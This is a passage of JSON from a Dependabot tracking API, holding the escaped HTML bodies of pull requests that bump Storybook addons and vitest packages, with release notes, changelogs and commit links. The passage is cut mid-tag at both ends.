href=\"https://github.com/valentinpalkovic\"\u003e\u003ccode\u003e@​valentinpalkovic\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eCLI: Fix hidden output of CLI commands on Yarn 1 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36419\"\u003e#36419\u003c/a\u003e, thanks \u003ca href=\"https://github.com/kasperpeulen\"\u003e\u003ccode\u003e@​kasperpeulen\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003ePreact: Support Preact 11 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36526\"\u003e#36526\u003c/a\u003e, thanks \u003ca href=\"https://github.com/ghengeveld\"\u003e\u003ccode\u003e@​ghengeveld\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eSecurity: Patch GHSA-f2ph-cmg5-wxc8 and GHSA-px85-f4q5-jh77 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36726\"\u003e#36726\u003c/a\u003e, thanks \u003ca href=\"https://github.com/Sidnioulz\"\u003e\u003ccode\u003e@​Sidnioulz\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eTypescript: Explicitly type enhanceArgTypes - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/35664\"\u003e#35664\u003c/a\u003e, thanks \u003ca href=\"https://github.com/mrginglymus\"\u003e\u003ccode\u003e@​mrginglymus\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/storybookjs/storybook/commit/9b4e295a7f994b6496cb1fdd50b436dd64925cca\"\u003e\u003ccode\u003e9b4e295\u003c/code\u003e\u003c/a\u003e Bump version from \u0026quot;10.6.2\u0026quot; to \u0026quot;10.6.3\u0026quot; [skip ci]\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/storybookjs/storybook/commit/5f00d7d0a78e069aa304bdb886da923e012ef2e0\"\u003e\u003ccode\u003e5f00d7d\u003c/code\u003e\u003c/a\u003e Bump version from \u0026quot;10.6.1\u0026quot; to \u0026quot;10.6.2\u0026quot; [skip ci]\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/storybookjs/storybook/commits/v10.6.3/code/addons/links\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@storybook/addon-vitest` from 10.6.1 to 10.6.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/storybookjs/storybook/releases\"\u003e@​storybook/addon-vitest's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev10.6.3\u003c/h2\u003e\n\u003ch2\u003e10.6.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAddon Vitest: Support Vitest 5 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36671\"\u003e#36671\u003c/a\u003e, thanks \u003ca href=\"https://github.com/PaulMest\"\u003e\u003ccode\u003e@​PaulMest\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eNext.js: Fix app-router mock crash on Next.js 16.4 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36588\"\u003e#36588\u003c/a\u003e, thanks \u003ca href=\"https://github.com/obvious-autobuild\"\u003e\u003ccode\u003e@​obvious-autobuild\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eNextjs-Vite: Provide parentRenderTree.bfcacheId in app router mock - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36732\"\u003e#36732\u003c/a\u003e, thanks \u003ca href=\"https://github.com/bhushan4work\"\u003e\u003ccode\u003e@​bhushan4work\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eTypeScript: Explicitly type returntype of ArgsStore#get - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36583\"\u003e#36583\u003c/a\u003e, thanks \u003ca href=\"https://github.com/mrginglymus\"\u003e\u003ccode\u003e@​mrginglymus\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev10.6.2\u003c/h2\u003e\n\u003ch2\u003e10.6.2\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAngular-Vite: Require \u003ccode\u003e@​analogjs/vite-plugin-angular\u003c/code\u003e 2.7.3 or later - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36525\"\u003e#36525\u003c/a\u003e, thanks \u003ca href=\"https://github.com/valentinpalkovic\"\u003e\u003ccode\u003e@​valentinpalkovic\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eCLI: Fix hidden output of CLI commands on Yarn 1 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36419\"\u003e#36419\u003c/a\u003e, thanks \u003ca href=\"https://github.com/kasperpeulen\"\u003e\u003ccode\u003e@​kasperpeulen\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003ePreact: Support Preact 11 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36526\"\u003e#36526\u003c/a\u003e, thanks \u003ca href=\"https://github.com/ghengeveld\"\u003e\u003ccode\u003e@​ghengeveld\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eSecurity: Patch GHSA-f2ph-cmg5-wxc8 and GHSA-px85-f4q5-jh77 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36726\"\u003e#36726\u003c/a\u003e, thanks \u003ca href=\"https://github.com/Sidnioulz\"\u003e\u003ccode\u003e@​Sidnioulz\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eTypescript: Explicitly type enhanceArgTypes - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/35664\"\u003e#35664\u003c/a\u003e, thanks \u003ca href=\"https://github.com/mrginglymus\"\u003e\u003ccode\u003e@​mrginglymus\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/storybookjs/storybook/blob/next/CHANGELOG.md\"\u003e@​storybook/addon-vitest's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e10.6.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAddon Vitest: Support Vitest 5 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36671\"\u003e#36671\u003c/a\u003e, thanks \u003ca href=\"https://github.com/PaulMest\"\u003e\u003ccode\u003e@​PaulMest\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eNext.js: Fix app-router mock crash on Next.js 16.4 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36588\"\u003e#36588\u003c/a\u003e, thanks \u003ca href=\"https://github.com/obvious-autobuild\"\u003e\u003ccode\u003e@​obvious-autobuild\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eNextjs-Vite: Provide parentRenderTree.bfcacheId in app router mock - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36732\"\u003e#36732\u003c/a\u003e, thanks \u003ca href=\"https://github.com/bhushan4work\"\u003e\u003ccode\u003e@​bhushan4work\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eTypeScript: Explicitly type returntype of ArgsStore#get - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36583\"\u003e#36583\u003c/a\u003e, thanks \u003ca href=\"https://github.com/mrginglymus\"\u003e\u003ccode\u003e@​mrginglymus\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e10.6.2\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAngular-Vite: Require \u003ccode\u003e@​analogjs/vite-plugin-angular\u003c/code\u003e 2.7.3 or later - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36525\"\u003e#36525\u003c/a\u003e, thanks \u003ca href=\"https://github.com/valentinpalkovic\"\u003e\u003ccode\u003e@​valentinpalkovic\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eCLI: Fix hidden output of CLI commands on Yarn 1 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36419\"\u003e#36419\u003c/a\u003e, thanks \u003ca href=\"https://github.com/kasperpeulen\"\u003e\u003ccode\u003e@​kasperpeulen\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003ePreact: Support Preact 11 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36526\"\u003e#36526\u003c/a\u003e, thanks \u003ca href=\"https://github.com/ghengeveld\"\u003e\u003ccode\u003e@​ghengeveld\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eSecurity: Patch GHSA-f2ph-cmg5-wxc8 and GHSA-px85-f4q5-jh77 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36726\"\u003e#36726\u003c/a\u003e, thanks \u003ca href=\"https://github.com/Sidnioulz\"\u003e\u003ccode\u003e@​Sidnioulz\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eTypescript: Explicitly type enhanceArgTypes - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/35664\"\u003e#35664\u003c/a\u003e, thanks \u003ca href=\"https://github.com/mrginglymus\"\u003e\u003ccode\u003e@...\n\n_Description has been truncated_","html_url":"https://github.com/dgee2/Menu/pull/1337","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgee2%2FMenu/issues/1337","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/1337/packages"}},{"old_version":"5.0.4","new_version":"5.0.5","update_type":"patch","path":null,"pr_created_at":"2026-10-23T20:14:02.000Z","version_change":"5.0.4 → 5.0.5","issue":{"uuid":"6004768367","node_id":"PR_kwDOSkQdD88AAAABKVlFAg","number":182,"state":"open","title":"chore(deps-dev): bump the vitest group with 2 updates","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":2,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-10-23T20:14:02.000Z","updated_at":"2026-10-23T20:16:02.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps-dev): bump","group_name":"vitest","update_count":2,"packages":[{"name":"@vitest/coverage-v8","old_version":"5.0.4","new_version":"5.0.5","repository_url":"https://github.com/vitest-dev/vitest"},{"name":"vitest","old_version":"5.0.4","new_version":"5.0.5","repository_url":"https://github.com/vitest-dev/vitest"}],"path":null,"ecosystem":"npm"},"body":"Bumps the vitest group with 2 updates: [@vitest/coverage-v8](https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8) and [vitest](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest).\n\nUpdates `@vitest/coverage-v8` from 5.0.4 to 5.0.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitest-dev/vitest/releases\"\u003e@​vitest/coverage-v8's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev5.0.5\u003c/h2\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eKeep vite default \u003ccode\u003efs.deny\u003c/code\u003e with api token file  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11578\"\u003evitest-dev/vitest#11578\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/28dc1edfb\"\u003e\u003c!-- raw HTML omitted --\u003e(28dc1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHandle quoted file names in \u003ccode\u003e--changed\u003c/code\u003e  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11583\"\u003evitest-dev/vitest#11583\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/14921e962\"\u003e\u003c!-- raw HTML omitted --\u003e(14921)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003edata\u003c/code\u003e to the \u003ccode\u003eimport.meta.hot\u003c/code\u003e stub  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11590\"\u003evitest-dev/vitest#11590\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/3a8289ac3\"\u003e\u003c!-- raw HTML omitted --\u003e(3a828)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSet \u003ccode\u003eskip\u003c/code\u003e in \u003ccode\u003eskipIf\u003c/code\u003e, ignore \u003ccode\u003eundefined\u003c/code\u003e options  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11591\"\u003evitest-dev/vitest#11591\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/d523a15f2\"\u003e\u003c!-- raw HTML omitted --\u003e(d523a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSkip builtin loading in async leak detector  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11598\"\u003evitest-dev/vitest#11598\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/fe86a64c6\"\u003e\u003c!-- raw HTML omitted --\u003e(fe86a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKeep the import frame in native loader errors  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11599\"\u003evitest-dev/vitest#11599\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/9697b3894\"\u003e\u003c!-- raw HTML omitted --\u003e(9697b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun hook cleanups when a later hook fails  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11605\"\u003evitest-dev/vitest#11605\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6c5a44720\"\u003e\u003c!-- raw HTML omitted --\u003e(6c5a4)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRelease mocks of finished test files  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11607\"\u003evitest-dev/vitest#11607\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/e9c3d72f0\"\u003e\u003c!-- raw HTML omitted --\u003e(e9c3d)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAbort all running tests on cancel  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11606\"\u003evitest-dev/vitest#11606\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6621a72d6\"\u003e\u003c!-- raw HTML omitted --\u003e(6621a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eIgnore synthetic pagehide events  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11582\"\u003evitest-dev/vitest#11582\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ca0813584\"\u003e\u003c!-- raw HTML omitted --\u003e(ca081)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun plugin buildStart on server creation  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11593\"\u003evitest-dev/vitest#11593\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ea611e44c\"\u003e\u003c!-- raw HTML omitted --\u003e(ea611)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDrop late connections of closed sessions  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11600\"\u003evitest-dev/vitest#11600\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/f161e6df2\"\u003e\u003c!-- raw HTML omitted --\u003e(f161e)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWait 30s for the browser to close  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11601\"\u003evitest-dev/vitest#11601\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6498b666a\"\u003e\u003c!-- raw HTML omitted --\u003e(6498b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun global setup once with instances  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11596\"\u003evitest-dev/vitest#11596\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/8dd67c262\"\u003e\u003c!-- raw HTML omitted --\u003e(8dd67)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ereporter\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eEnd reason \u003ccode\u003e\u0026amp;[#39](https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8/issues/39);failed\u0026amp;[#39](https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8/issues/39);\u003c/code\u003e on worker crash  -  by \u003ca href=\"https://github.com/AriPerkkio\"\u003e\u003ccode\u003e@​AriPerkkio\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11568\"\u003evitest-dev/vitest#11568\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6ae8e89ff\"\u003e\u003c!-- raw HTML omitted --\u003e(6ae8e)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v5.0.4...v5.0.5\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/7a825db43e2beca0b219d2eadaec334cb81af0c7\"\u003e\u003ccode\u003e7a825db\u003c/code\u003e\u003c/a\u003e chore: release v5.0.5 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8/issues/11609\"\u003e#11609\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/vitest-dev/vitest/commits/v5.0.5/packages/coverage-v8\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `vitest` from 5.0.4 to 5.0.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitest-dev/vitest/releases\"\u003evitest's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev5.0.5\u003c/h2\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eKeep vite default \u003ccode\u003efs.deny\u003c/code\u003e with api token file  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11578\"\u003evitest-dev/vitest#11578\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/28dc1edfb\"\u003e\u003c!-- raw HTML omitted --\u003e(28dc1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHandle quoted file names in \u003ccode\u003e--changed\u003c/code\u003e  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11583\"\u003evitest-dev/vitest#11583\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/14921e962\"\u003e\u003c!-- raw HTML omitted --\u003e(14921)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003edata\u003c/code\u003e to the \u003ccode\u003eimport.meta.hot\u003c/code\u003e stub  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11590\"\u003evitest-dev/vitest#11590\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/3a8289ac3\"\u003e\u003c!-- raw HTML omitted --\u003e(3a828)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSet \u003ccode\u003eskip\u003c/code\u003e in \u003ccode\u003eskipIf\u003c/code\u003e, ignore \u003ccode\u003eundefined\u003c/code\u003e options  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11591\"\u003evitest-dev/vitest#11591\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/d523a15f2\"\u003e\u003c!-- raw HTML omitted --\u003e(d523a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSkip builtin loading in async leak detector  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11598\"\u003evitest-dev/vitest#11598\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/fe86a64c6\"\u003e\u003c!-- raw HTML omitted --\u003e(fe86a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKeep the import frame in native loader errors  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11599\"\u003evitest-dev/vitest#11599\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/9697b3894\"\u003e\u003c!-- raw HTML omitted --\u003e(9697b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun hook cleanups when a later hook fails  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11605\"\u003evitest-dev/vitest#11605\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6c5a44720\"\u003e\u003c!-- raw HTML omitted --\u003e(6c5a4)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRelease mocks of finished test files  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11607\"\u003evitest-dev/vitest#11607\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/e9c3d72f0\"\u003e\u003c!-- raw HTML omitted --\u003e(e9c3d)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAbort all running tests on cancel  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11606\"\u003evitest-dev/vitest#11606\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6621a72d6\"\u003e\u003c!-- raw HTML omitted --\u003e(6621a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eIgnore synthetic pagehide events  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11582\"\u003evitest-dev/vitest#11582\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ca0813584\"\u003e\u003c!-- raw HTML omitted --\u003e(ca081)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun plugin buildStart on server creation  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11593\"\u003evitest-dev/vitest#11593\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ea611e44c\"\u003e\u003c!-- raw HTML omitted --\u003e(ea611)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDrop late connections of closed sessions  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11600\"\u003evitest-dev/vitest#11600\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/f161e6df2\"\u003e\u003c!-- raw HTML omitted --\u003e(f161e)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWait 30s for the browser to close  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11601\"\u003evitest-dev/vitest#11601\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6498b666a\"\u003e\u003c!-- raw HTML omitted --\u003e(6498b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun global setup once with instances  -  by \u003ca 